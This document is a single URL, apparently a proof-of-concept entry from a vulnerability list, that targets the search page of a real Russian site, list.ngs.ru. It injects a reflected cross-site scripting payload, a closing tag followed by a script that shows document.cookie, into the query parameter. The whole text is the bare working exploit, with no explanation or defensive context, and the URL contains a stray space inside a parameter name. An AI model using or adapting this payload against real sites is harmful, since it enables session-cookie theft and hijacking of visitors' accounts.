http://list.ngs.ru/page.php?do='search&bool=and&substring=0&mh=10&que ry="><script>alert(document.cookie)</script>